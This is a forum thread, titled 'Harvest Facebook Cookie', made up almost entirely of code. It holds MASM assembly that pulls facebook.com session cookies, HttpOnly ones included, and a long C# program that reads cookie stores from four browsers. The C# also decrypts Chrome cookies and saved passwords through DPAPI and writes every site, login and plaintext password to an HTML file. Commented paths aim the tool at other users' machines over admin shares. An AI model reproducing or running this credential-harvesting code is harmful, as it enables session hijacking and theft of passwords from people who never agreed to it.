Harvest Facebook Cookie

Latest And Greatest
Admin
Site Admin
Posts: 955
Joined: Thu Aug 23, 2007 10:35 am

Harvest Facebook Cookie

Postby Admin » Sat May 24, 2014 12:02 am

Code: Select all

.486
         .model   flat,stdcall
         option   casemap:none


Include   c:\masm32\include\windows.inc
Include   c:\masm32\include\kernel32.inc
Include   c:\masm32\include\user32.inc
Include   c:\masm32\include\advapi32.inc
include \masm32\include\masm32.inc
include \masm32\include\wtsapi32.inc
include \masm32\include\userenv.inc
include \masm32\include\wininet.inc

IncludeLib   c:\masm32\lib\kernel32.lib
IncludeLib   c:\masm32\lib\user32.lib
IncludeLib   c:\masm32\lib\advapi32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\wtsapi32.lib
includelib \masm32\lib\userenv.lib
includelib \masm32\lib\wininet.lib

Include   c:\masm32\include\Ws2_32.inc
IncludeLib   c:\masm32\lib\Ws2_32.lib


.data
szTmpBuf DB 1024 dup (0)
Facebook db "https://facebook.com",0
.data?
szDataRetSize dd ?
written  dd ?
.code

main:
    mov szDataRetSize, 1024
    invoke InternetGetCookieEx, ADDR Facebook, 0, addr szTmpBuf, ADDR szDataRetSize, 00002000h, 0
    .IF eax != 0
        .IF szDataRetSize <= 0
            invoke ExitProcess, 0
            ;xor eax, eax ;This causes it to hang?
            ;ret
        .ENDIF

    invoke GetStdHandle, -11
    invoke WriteFile,                   \
           eax,                         \
           offset szTmpBuf,              \
           szDataRetSize,                    \
           offset written,              \
           0
    invoke ExitProcess, 0
       
    .ENDIF
end main

Admin
Site Admin
Posts: 955
Joined: Thu Aug 23, 2007 10:35 am

Re: Harvest Facebook Cookie

Postby Admin » Tue May 27, 2014 11:12 pm

This may be useful for Chrome Cookies.
http://win32assembly.programminghorizon.com/odbc5.html

Admin
Site Admin
Posts: 955
Joined: Thu Aug 23, 2007 10:35 am

Re: Harvest Facebook Cookie

Postby Admin » Fri May 30, 2014 11:24 pm

Code: Select all

using System;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Data.SQLite;
using System.IO;
using System.Web;
using System.Net;
using System.Collections;
using System.Collections.Generic;
using System.Text;
using System.ComponentModel;
using System.Data;

namespace ReadCookie
{

    #region Menu Class

    ///
    ///  @brief Delegate defining a callback to a menu item handler.
    ///
    delegate void MenuCallback();

    ///
    ///  @brief Menu item object class.
    ///
    class Menu
    {
        private class MenuItem
        {
            public MenuCallback mc;
            public string text;

            ///
            ///  @brief The Menu class constructor.
            ///
            ///  @param Text The text string to be displayed in the menu.
            ///  @param Mc The delegate pointer to the menu event handler.
            ///
            public MenuItem(string Text, MenuCallback Mc)
            {
                mc = Mc;
                text = Text;
            }
        }

        private ArrayList m_Items = new ArrayList();

        ///
        ///  @brief Add a menu item to the list.
        ///
        ///  @param Text The text string to be displayed in the menu.
        ///  @param Mc The delegate pointer to the menu event handler.
        ///
        public void Add(string text, MenuCallback mc)
        {
            m_Items.Add(new MenuItem(text, mc));
        }

        ///
        ///  @brief Display the menu in the console and await console input.
        ///
        public void Show()
        {
            int choosen = 0;

            for (int i = 0; i < m_Items.Count; ++i)
            {
                MenuItem mi = m_Items[i] as MenuItem;
                Console.WriteLine(" [{0}] {1}", i + 1, mi.text);
            }

            Console.WriteLine(); // add a line

            try
            {
                choosen = Int32.Parse(Console.ReadLine());
            }
            catch { /* Ignore non numeric and mixed */ }

            Console.Clear();

            if (choosen > m_Items.Count || choosen < 1)
            {
                Console.WriteLine("Invalid option.\n");
            }
            else
            {
                MenuItem mi = m_Items[choosen - 1] as MenuItem;
                MenuCallback mc = mi.mc;
                mc();
            }
        }
    }

    #endregion //Menu Class

    ///
    /// @brief      The application class.
    ///
    /// @ingroup    ReadCookie
    ///
    /// @author David MacDermot
    ///
    /// @date 02-09-12
    ///
    /// @todo
    ///
    /// @bug
    ///
    class Program
    {
        private static string _strHostName;
        private static string _strField;

        ///
        ///  @brief Menu item Exit handler.
        ///
        private static void Exit()
        {
            Environment.Exit(0);
        }

        #region GetValue Methods

        #region Opera

         ///
        ///  @brief Get the path to the Opera cookie file.
        ///
        ///  @return string The path if successful, otherwise an empty string
        ///
        private static string GetOperaCookiePath()
        {
            string s = Environment.GetFolderPath(
                Environment.SpecialFolder.ApplicationData);
            s += @"\Opera\Opera\cookies4.dat";

            if (!File.Exists(s))
                return string.Empty;

            return s;
        }

        ///
        ///  @brief Get the Value from the Opera cookie file.
        ///
        ///  @param strHost The host or website name.
        ///  @param strField The cookie field name.
        ///  @param Value a string to recieve the Field Value if any found.
        ///
        ///  @return bool true if successful
        ///
        private static bool GetCookie_Opera(string strHost, string strField, ref string Value)
        {
            Value = "";
            bool fRtn = false;
            string strPath;

            // Check to see if Opera Installed
            strPath = GetOperaCookiePath();
            if (string.Empty == strPath) // Nope, perhaps another browser
                return false;

            try
            {
                OpraCookieJar cookieJar = new OpraCookieJar(strPath);
                List<O4Cookie> cookies = cookieJar.GetCookies(strHost);

                if (null != cookies)
                {
                    foreach (O4Cookie cookie in cookies)
                    {
                        if (cookie.Name.ToUpper().Equals(strField.ToUpper()))
                        {
                            Value = cookie.Value;
                            fRtn = true;
                            break;
                        }
                    }
                }
             }
            catch (Exception)
            {
                Value = string.Empty;
                fRtn = false;
            }
            return fRtn;
        }

        #endregion //Opera

        #region Chrome

        ///
        ///  @brief Get the path to the Chrome cookie file.
        ///
        ///  @return string The path if successful, otherwise an empty string
        ///
        private static string GetChromeCookiePath()
        {
            // "C:\Users\24556.EISENHOWER\AppData\Local\Google\Chrome\User Data\Default\cookies"
            string s = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            //string s = @"\\169484emc\c$\Users\26429.Eisenhower\AppData\Local";
            //string s = @"\\175757EMC\c$\Users\15271.Eisenhower\AppData\Local";

            s += @"\Google\Chrome\User Data\Default\cookies";

            if (!File.Exists(s))
                return string.Empty;

            return s;
        }

        ///
        ///  @brief Get the Value from the Chrome cookie file.
        ///
        ///  @param strHost The host or website name.
        ///  @param strField The cookie field name.
        ///  @param Value a string to recieve the Field Value if any found.
        ///
        ///  @return bool true if successful
        ///
        private static bool GetCookie_Chrome(string strHost, string strField, ref string Value)
        {
            Value = string.Empty;
            bool fRtn = false;
            string strPath, strDb;

            // Check to see if Chrome Installed
            strPath = GetChromeCookiePath();
            if (string.Empty == strPath) // Nope, perhaps another browser
                return false;

            try
            {
                strDb = "Data Source=" + strPath + ";pooling=false";

                using (SQLiteConnection conn = new SQLiteConnection(strDb))
                {
                    using (SQLiteCommand cmd = conn.CreateCommand())
                    {
                        cmd.CommandText = "SELECT host_key, name, value, secure, encrypted_value FROM cookies WHERE host_key LIKE '%" + strHost + "%' AND name LIKE '%" + strField + "%' order by host_key;";

                        conn.Open();
                        using (SQLiteDataReader reader = cmd.ExecuteReader())
                        {
                            while (reader.Read())
                            {
                                Value = reader.GetString(0) + " - " + reader.GetString(1) + ":" + reader.GetString(2);
                                if (!Value.Equals(string.Empty))
                                {

                                    if (reader.GetBoolean(3) == true)
                                    {
                                        byte[] Blob = new byte[1024];
                                       
                                        //reader.GetBytes(4, 0, Blob, 0, 1024);
                                        Blob = (byte[])reader[4];
                                        //System.Diagnostics.Debug.WriteLine(ByteArrayToString(Blob));

                                        string description;
                                        byte[] entropy = null;
                                        byte[] decrypted = DPAPI.Decrypt(Blob, entropy, out description);
                                        string password = new UTF8Encoding(true).GetString(decrypted);
                                        System.Diagnostics.Debug.WriteLine(reader.GetString(0) + " - " + reader.GetString(1) + ":" + password + ":" + reader.GetBoolean(3).ToString());
                                    }
                                    else
                                    {
                                        System.Diagnostics.Debug.WriteLine(reader.GetString(0) + " - " + reader.GetString(1) + ":" + reader.GetString(2) + ":" + reader.GetBoolean(3).ToString());
                                    }

                                   
                                    fRtn = true;
                                    //break;
                                }
                            }
                        }
                        conn.Close();
                    }
                }
            }
            catch (System.Data.SQLite.SQLiteException ex)
            {
                System.Diagnostics.Debug.WriteLine(ex.Message);
            }
            catch (Exception)
            {
                Value = string.Empty;
                fRtn = false;
            }
            return fRtn;
        }

        public static string ByteArrayToString(byte[] ba)
        {
            string hex = BitConverter.ToString(ba);
            return hex.Replace("-", "");
        }

        private static bool GetLogin_Chrome()
        {
            string Value = string.Empty;
            bool fRtn = false;
            string strPath, strDb;

            // Check to see if Chrome Installed
            strPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
            if (string.Empty == strPath) // Nope, perhaps another browser
                return false;

            byte[] entropy = null;
            string description;
            try
            {
                strDb = "Data Source=" + strPath + ";pooling=false";

                using (SQLiteConnection conn = new SQLiteConnection(strDb))
                {
                    using (SQLiteCommand cmd = conn.CreateCommand())
                    {
                        cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins;";
                       
                        conn.Open();
                        using (SQLiteDataReader reader = cmd.ExecuteReader())
                        {
                            while (reader.Read())
                            {
                                Value = reader.GetString(0) + " - " + reader.GetString(1) + ":" + reader.GetString(2);
                                if (!Value.Equals(string.Empty))
                                {
                                    //CryptUnprotectData
                                    /*
                                       password = (char*)out.pbData;
                                       password[out.cbData] = 0;
                                       LocalFree(out.pbData);
                                     */
                                    byte[] byteArray = System.Text.ASCIIEncoding.ASCII.GetBytes(reader.GetString(2));
                                    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                                    string password = new UTF8Encoding(true).GetString(decrypted);
                                    System.Diagnostics.Debug.WriteLine(reader.GetString(0) + " - " + reader.GetString(1) + ":" + reader.GetString(2));
                                    fRtn = true;
                                    //break;
                                }
                            }
                        }
                        conn.Close();
                    }
                }
            }
            catch (System.Data.SQLite.SQLiteException ex)
            {
                System.Diagnostics.Debug.WriteLine(ex.Message);
            }
            catch (Exception)
            {
                Value = string.Empty;
                fRtn = false;
            }
            return fRtn;
        }

        #endregion //Chrome

        #region FireFox

        ///
        ///  @brief Get the path to the Fire Fox cookie file.
        ///
        ///  @return string The path if successful, otherwise an empty string
        ///
        private static string GetFireFoxCookiePath()
        {
            string s = Environment.GetFolderPath(
                             Environment.SpecialFolder.ApplicationData);
            s += @"\Mozilla\Firefox\Profiles\";

            try
            {
                DirectoryInfo di = new DirectoryInfo(s);
                DirectoryInfo[] dir = di.GetDirectories("*.default");
                if (dir.Length != 1)
                    return string.Empty;

                s += dir[0].Name + @"\" + "cookies.sqlite";
            }
            catch (Exception)
            {
                return string.Empty;
            }
 
            if (!File.Exists(s))
                return string.Empty;

            return s;
        }

        ///
        ///  @brief Get the Value from the Fire Fox cookie file.
        ///
        ///  @param strHost The host or website name.
        ///  @param strField The cookie field name.
        ///  @param Value a string to recieve the Field Value if any found.
        ///
        ///  @return bool true if successful
        ///
        private static bool GetCookie_FireFox(string strHost, string strField, ref string Value)
        {
            Value = string.Empty;
            bool fRtn = false;
            string strPath, strTemp, strDb;
            strTemp = string.Empty;

            // Check to see if FireFox Installed
            strPath = GetFireFoxCookiePath();
            if (string.Empty == strPath) // Nope, perhaps another browser
                return false;

            try
            {
                // First copy the cookie jar so that we can read the cookies from unlocked copy while
                // FireFox is running
                strTemp = strPath + ".temp";
                strDb = "Data Source=" + strTemp + ";pooling=false";

                File.Copy(strPath, strTemp, true);

                // Now open the temporary cookie jar and extract Value from the cookie if
                // we find it.
                using (SQLiteConnection conn = new SQLiteConnection(strDb))
                {
                    using (SQLiteCommand cmd = conn.CreateCommand())
                    {
                        cmd.CommandText = "SELECT value FROM moz_cookies WHERE host LIKE '%" +
                            strHost + "%' AND name LIKE '%" + strField + "%';";

                        conn.Open();
                        using (SQLiteDataReader reader = cmd.ExecuteReader())
                        {
                            while (reader.Read())
                            {
                                Value = reader.GetString(0);
                                if (!Value.Equals(string.Empty))
                                {
                                    fRtn = true;
                                    break;
                                }
                            }
                        }
                        conn.Close();
                    }
                }
            }
            catch (Exception)
            {
                Value = string.Empty;
                fRtn = false;
            }

            // All done clean up
            if (string.Empty != strTemp)
            {
                File.Delete(strTemp);
            }
            return fRtn;
        }

        #endregion //FireFox

        #region InternetExplorer

        ///
        ///  @brief Determine if the operating system is Windows 7.
        ///
        ///  @return bool true if Windows 7 otherwise false
        ///
        private static bool IsWindows7()
        {
            OperatingSystem osVersion = Environment.OSVersion;

            return (osVersion.Platform == PlatformID.Win32NT) &&
                (osVersion.Version.Major == 6) &&
                (osVersion.Version.Minor == 1);
        }

        ///
        ///  @brief Get the Value from the Internet Explorer cookie file.
        ///
        ///  @param strHost The host or website name.
        ///  @param strField The cookie field name.
        ///  @param Value a string to recieve the Field Value if any found.
        ///
        ///  @return bool true if successful
        ///
        private static bool GetCookie_InternetExplorer(string strHost, string strField, ref string Value)
        {
            Value = string.Empty;
            bool fRtn = false;
            string strPath, strCookie;
            string[] fp;
            StreamReader r;
            int idx;

            try
            {
                strField = strField + "\n";
                strPath = Environment.GetFolderPath(Environment.SpecialFolder.Cookies);
                Version v = Environment.OSVersion.Version;

                if (IsWindows7())
                {
                    strPath += @"\low";
                }

                fp = Directory.GetFiles(strPath, "*.txt");

                foreach (string path in fp)
                {
                   idx = -1;
                    r = File.OpenText(path);
                    strCookie = r.ReadToEnd();
                    r.Close();
                   
                    if(System.Text.RegularExpressions.Regex.IsMatch(strCookie, strHost))
                    {
                       idx = strCookie.ToUpper().IndexOf(strField.ToUpper());
                    }
                   
                    if (-1 < idx)
                    {
                        idx += strField.Length;
                        Value = strCookie.Substring(idx, strCookie.IndexOf('\n', idx) -idx);
                        if (!Value.Equals(string.Empty))
                        {
                            fRtn = true;
                            break;
                        }
                    }
                }
            }
            catch (Exception) //File not found, etc...
            {
                Value = string.Empty;
                fRtn = false;
            }

            return fRtn;
        }

        #endregion //InternetExplorer

        #endregion //GetValue Methods

        ///
        ///  @brief Menu item Get Value all handler.
        ///
        private static void GetCookie()
        {
            string Value = string.Empty;

            while (true)
            {
                if (GetCookie_InternetExplorer(_strHostName, _strField, ref Value)) break;
                else if (GetCookie_FireFox(_strHostName, _strField, ref Value)) break;
                else if (GetCookie_Chrome(_strHostName, _strField, ref Value)) break;
                else if (GetCookie_Opera(_strHostName, _strField, ref Value)) break;
                else { Value = string.Empty; break; }
            }
            Console.WriteLine("{0} {1} Value {2}", !Value.Equals(string.Empty) ? "Found" : "Not Found", _strField, Value);
            Console.WriteLine("\nPress any key to continue...");
            Console.Read();
        }

        ///
        ///  @brief Menu item Get Value Internet Explorer handler.
        ///
        private static void InternetExplorer()
        {
            Console.WriteLine("Searching Internet Explorer Cookies:\n");

            string Value = string.Empty;
            bool fFound = GetCookie_InternetExplorer(_strHostName, _strField, ref Value);
            Console.WriteLine("{0} {1} Value {2}", fFound ? "Found" : "Not Found", _strField, Value);
            Console.WriteLine("\nPress any key to continue...");
            Console.Read();
        }

        ///
        ///  @brief Menu item Get Value Fire Fox handler.
        ///
        private static void FireFox()
        {
            Console.WriteLine("Searching Firefox Cookies:\n");

            string Value = string.Empty;
            bool fFound = GetCookie_FireFox(_strHostName, _strField, ref Value);
            Console.WriteLine("{0} {1} Value {2}", fFound ? "Found" : "Not Found", _strField, Value);
            Console.WriteLine("\nPress any key to continue...");
            Console.Read();
        }

        ///
        ///  @brief Menu item Get Value Chrome handler.
        ///
        private static void Chrome()
        {
            Console.WriteLine("Searching Chrome Cookies:\n");

            string Value = string.Empty;
            bool fFound = GetCookie_Chrome(_strHostName, _strField, ref Value);
            GetLogin_Chrome();
            Console.WriteLine("{0} {1} Value {2}", fFound ? "Found" : "Not Found", _strField, Value);
            Console.WriteLine("\nPress any key to continue...");
            Console.Read();
        }

        ///
        ///  @brief Menu item Get Value Opera handler.
        ///
        private static void Opera()
        {
            Console.WriteLine("Searching Opera Cookies:\n");

            string Value = string.Empty;
            bool fFound = GetCookie_Opera(_strHostName, _strField, ref Value);
            Console.WriteLine("{0} {1} Value {2}", fFound ? "Found" : "Not Found", _strField, Value);
            Console.WriteLine("\nPress any key to continue...");
            Console.Read();
        }

        ///
        ///  @brief The main entry point for the application.
        ///
        static void Main(string[] args)
        {

            test();

            string s = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            s += @"\Google\Chrome\User Data\Default\cookies";

            System.Diagnostics.Debug.WriteLine(s);
            // Search cookies for the cntid field of the codeproject cookie
            _strHostName = "facebook.com";
            _strField = "";

            // Configure a menu of selections
            Menu menu = new Menu();
            menu.Add("Internet Explorer", new MenuCallback(InternetExplorer));
            menu.Add("Fire Fox", new MenuCallback(FireFox));
            menu.Add("Chrome", new MenuCallback(Chrome));
            menu.Add("Opera", new MenuCallback(Opera));
            menu.Add("Get Cookie field value from IE, FF, Chrome, or Opera", new MenuCallback(GetCookie));
            menu.Add("Exit", new MenuCallback(Exit));

            while (true)
            {
                Console.Clear();
                Console.WriteLine("Search cookie jars for\nField: {0} of Host: {1}.\n", _strField, _strHostName);
                Console.WriteLine("Enter a number to select.\n");
                menu.Show();
            }
        }

















        static void test()
        {
            try
        {
            string filename = "my_chrome_passwords.html";
            StreamWriter Writer = new StreamWriter(filename, false, Encoding.UTF8);
            string db_way = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            //string db_way = @"\\169484emc\c$\Users\26429.Eisenhower\AppData\Local";
            //string db_way = @"\\175757EMC\c$\Users\15271.Eisenhower\AppData\Local";
                //db_way += "/Google/Chrome/User Data/Default/Login Data";
            db_way += @"\Google\Chrome\User Data\Default\Login Data";
         Console.WriteLine("DB file = " + db_way);
            string db_field = "logins";   //имя поля БД
            byte[] entropy = null; //разработчики не стали использовать энтропию.
                                   //Однако класс DPAPI требует указания энтропии в любом случае,
                                   //независимо от того - присутствует она, или нет.
            string description;    //я не понял смысла переменной, но она обязательная. На выходе всегда Null
            // Подключаемся к базе данных
            string ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True";
            DataTable DB = new DataTable();
            string sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", "");
            using (SQLiteConnection connect = new SQLiteConnection(ConnectionString))
            {
                SQLiteCommand command = new SQLiteCommand(sql, connect);
                SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                adapter.Fill(DB);
                int rows = DB.Rows.Count;
                for (int i = 0; i < rows; i++)
                {
                    Writer.Write(i + 1 + ") "); // Здесь мы записываем порядковый номер нашей троицы "Сайт-логин-пароль".                 
                    Writer.WriteLine(DB.Rows[i][1] + "<br>"); //Это ссылка на сайт
                    Writer.WriteLine(DB.Rows[i][3] + "<br>"); //Это логин
                    // Здесь начинается расшифровка пароля
                    byte[] byteArray = (byte[])DB.Rows[i][5];
                    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                    string password = new UTF8Encoding(true).GetString(decrypted);
                    Writer.WriteLine(password + "<br><br>");
                }
            }
            Writer.Close();           
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
            ex = ex.InnerException;           
        }
    }
       


















    }














    public class DPAPI
    {
        [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
        private static extern
            bool CryptProtectData(ref DATA_BLOB pPlainText, string szDescription, ref DATA_BLOB pEntropy, IntPtr pReserved,
                                             ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pCipherText);

        [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
        private static extern
            bool CryptUnprotectData(ref DATA_BLOB pCipherText, ref string pszDescription, ref DATA_BLOB pEntropy,
                  IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pPlainText);

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        internal struct DATA_BLOB
        {
            public int cbData;
            public IntPtr pbData;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        internal struct CRYPTPROTECT_PROMPTSTRUCT
        {
            public int cbSize;
            public int dwPromptFlags;
            public IntPtr hwndApp;
            public string szPrompt;
        }

        static private IntPtr NullPtr = ((IntPtr)((int)(0)));

        private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;
        private const int CRYPTPROTECT_LOCAL_MACHINE = 0x4;

        private static void InitPrompt(ref CRYPTPROTECT_PROMPTSTRUCT ps)
        {
            ps.cbSize = Marshal.SizeOf(
                                      typeof(CRYPTPROTECT_PROMPTSTRUCT));
            ps.dwPromptFlags = 0;
            ps.hwndApp = NullPtr;
            ps.szPrompt = null;
        }

        private static void InitBLOB(byte[] data, ref DATA_BLOB blob)
        {
            // Use empty array for null parameter.
            if (data == null)
                data = new byte[0];

            // Allocate memory for the BLOB data.
            blob.pbData = Marshal.AllocHGlobal(data.Length);

            // Make sure that memory allocation was successful.
            if (blob.pbData == IntPtr.Zero)
                throw new Exception(
                    "Unable to allocate data buffer for BLOB structure.");

            // Specify number of bytes in the BLOB.
            blob.cbData = data.Length;

            // Copy data from original source to the BLOB structure.
            Marshal.Copy(data, 0, blob.pbData, data.Length);
        }

        public enum KeyType { UserKey = 1, MachineKey };

        private static KeyType defaultKeyType = KeyType.UserKey;

        public static string Encrypt(string plainText)
        {
            return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty);
        }

        public static string Encrypt(KeyType keyType, string plainText)
        {
            return Encrypt(keyType, plainText, String.Empty,
                            String.Empty);
        }

        public static string Encrypt(KeyType keyType, string plainText, string entropy)
        {
            return Encrypt(keyType, plainText, entropy, String.Empty);
        }

        public static string Encrypt(KeyType keyType, string plainText, string entropy, string description)
        {
            // Make sure that parameters are valid.
            if (plainText == null) plainText = String.Empty;
            if (entropy == null) entropy = String.Empty;

            // Call encryption routine and convert returned bytes into
            // a base64-encoded value.
            return Convert.ToBase64String(
                    Encrypt(keyType,
                            Encoding.UTF8.GetBytes(plainText),
                            Encoding.UTF8.GetBytes(entropy),
                            description));
        }

        public static byte[] Encrypt(KeyType keyType, byte[] plainTextBytes, byte[] entropyBytes, string description)
        {
            // Make sure that parameters are valid.
            if (plainTextBytes == null) plainTextBytes = new byte[0];
            if (entropyBytes == null) entropyBytes = new byte[0];
            if (description == null) description = String.Empty;

            // Create BLOBs to hold data.
            DATA_BLOB plainTextBlob = new DATA_BLOB();
            DATA_BLOB cipherTextBlob = new DATA_BLOB();
            DATA_BLOB entropyBlob = new DATA_BLOB();

            // We only need prompt structure because it is a required
            // parameter.
            CRYPTPROTECT_PROMPTSTRUCT prompt =
                                      new CRYPTPROTECT_PROMPTSTRUCT();
            InitPrompt(ref prompt);

            try
            {
                // Convert plaintext bytes into a BLOB structure.
                try
                {
                    InitBLOB(plainTextBytes, ref plainTextBlob);
                }
                catch (Exception ex)
                {
                    throw new Exception(
                        "Cannot initialize plaintext BLOB.", ex);
                }

                // Convert entropy bytes into a BLOB structure.
                try
                {
                    InitBLOB(entropyBytes, ref entropyBlob);
                }
                catch (Exception ex)
                {
                    throw new Exception(
                        "Cannot initialize entropy BLOB.", ex);
                }

                // Disable any types of UI.
                int flags = CRYPTPROTECT_UI_FORBIDDEN;

                // When using machine-specific key, set up machine flag.
                if (keyType == KeyType.MachineKey)
                    flags |= CRYPTPROTECT_LOCAL_MACHINE;

                // Call DPAPI to encrypt data.
                bool success = CryptProtectData(ref plainTextBlob,
                                                    description,
                                                ref entropyBlob,
                                                    IntPtr.Zero,
                                                ref prompt,
                                                    flags,
                                                ref cipherTextBlob);
                // Check the result.
                if (!success)
                {
                    // If operation failed, retrieve last Win32 error.
                    int errCode = Marshal.GetLastWin32Error();

                    // Win32Exception will contain error message corresponding
                    // to the Windows error code.
                    throw new Exception(
                        "CryptProtectData failed.", new Win32Exception(errCode));
                }

                // Allocate memory to hold ciphertext.
                byte[] cipherTextBytes = new byte[cipherTextBlob.cbData];

                // Copy ciphertext from the BLOB to a byte array.
                Marshal.Copy(cipherTextBlob.pbData,
                                cipherTextBytes,
                                0,
                                cipherTextBlob.cbData);

                // Return the result.
                return cipherTextBytes;
            }
            catch (Exception ex)
            {
                throw new Exception("DPAPI was unable to encrypt data.", ex);
            }
            // Free all memory allocated for BLOBs.
            finally
            {
                if (plainTextBlob.pbData != IntPtr.Zero)
                    Marshal.FreeHGlobal(plainTextBlob.pbData);

                if (cipherTextBlob.pbData != IntPtr.Zero)
                    Marshal.FreeHGlobal(cipherTextBlob.pbData);

                if (entropyBlob.pbData != IntPtr.Zero)
                    Marshal.FreeHGlobal(entropyBlob.pbData);
            }
        }

        public static string Decrypt(string cipherText)
        {
            string description;

            return Decrypt(cipherText, String.Empty, out description);
        }

        public static string Decrypt(string cipherText, out string description)
        {
            return Decrypt(cipherText, String.Empty, out description);
        }

        public static string Decrypt(string cipherText, string entropy, out string description)
        {
            // Make sure that parameters are valid.
            if (entropy == null) entropy = String.Empty;

            return Encoding.UTF8.GetString(
                        Decrypt(Convert.FromBase64String(cipherText),
                                    Encoding.UTF8.GetBytes(entropy),
                                out description));
        }

        public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description)
        {
            // Create BLOBs to hold data.
            DATA_BLOB plainTextBlob = new DATA_BLOB();
            DATA_BLOB cipherTextBlob = new DATA_BLOB();
            DATA_BLOB entropyBlob = new DATA_BLOB();

            // We only need prompt structure because it is a required
            // parameter.
            CRYPTPROTECT_PROMPTSTRUCT prompt =
                                      new CRYPTPROTECT_PROMPTSTRUCT();
            InitPrompt(ref prompt);

            // Initialize description string.
            description = String.Empty;

            try
            {
                // Convert ciphertext bytes into a BLOB structure.
                try
                {
                    InitBLOB(cipherTextBytes, ref cipherTextBlob);
                }
                catch (Exception ex)
                {
                    throw new Exception(
                        "Cannot initialize ciphertext BLOB.", ex);
                }

                // Convert entropy bytes into a BLOB structure.
                try
                {
                    InitBLOB(entropyBytes, ref entropyBlob);
                }
                catch (Exception ex)
                {
                    throw new Exception(
                        "Cannot initialize entropy BLOB.", ex);
                }

                // Disable any types of UI. CryptUnprotectData does not
                // mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of
                // supported flags so we will not set it up.
                int flags = CRYPTPROTECT_UI_FORBIDDEN;

                // Call DPAPI to decrypt data.
                bool success = CryptUnprotectData(ref cipherTextBlob,
                                                  ref description,
                                                  ref entropyBlob,
                                                      IntPtr.Zero,
                                                  ref prompt,
                                                      flags,
                                                  ref plainTextBlob);

                // Check the result.
                if (!success)
                {
                    // If operation failed, retrieve last Win32 error.
                    int errCode = Marshal.GetLastWin32Error();

                    // Win32Exception will contain error message corresponding
                    // to the Windows error code.
                    throw new Exception(
                        "CryptUnprotectData failed.", new Win32Exception(errCode));
                }

                // Allocate memory to hold plaintext.
                byte[] plainTextBytes = new byte[plainTextBlob.cbData];

                // Copy ciphertext from the BLOB to a byte array.
                Marshal.Copy(plainTextBlob.pbData,
                             plainTextBytes,
                             0,
                             plainTextBlob.cbData);

                // Return the result.
                return plainTextBytes;
            }
            catch (Exception ex)
            {
                throw new Exception("DPAPI was unable to decrypt data.", ex);
            }
            // Free all memory allocated for BLOBs.
            finally
            {
                if (plainTextBlob.pbData != IntPtr.Zero)
                    Marshal.FreeHGlobal(plainTextBlob.pbData);

                if (cipherTextBlob.pbData != IntPtr.Zero)
                    Marshal.FreeHGlobal(cipherTextBlob.pbData);

                if (entropyBlob.pbData != IntPtr.Zero)
                    Marshal.FreeHGlobal(entropyBlob.pbData);
            }
        }
    }


}


CUSER and XS are only needed.


Return to “MASM32 v9 & v10”

Who is online

Users browsing this forum: No registered users and 1 guest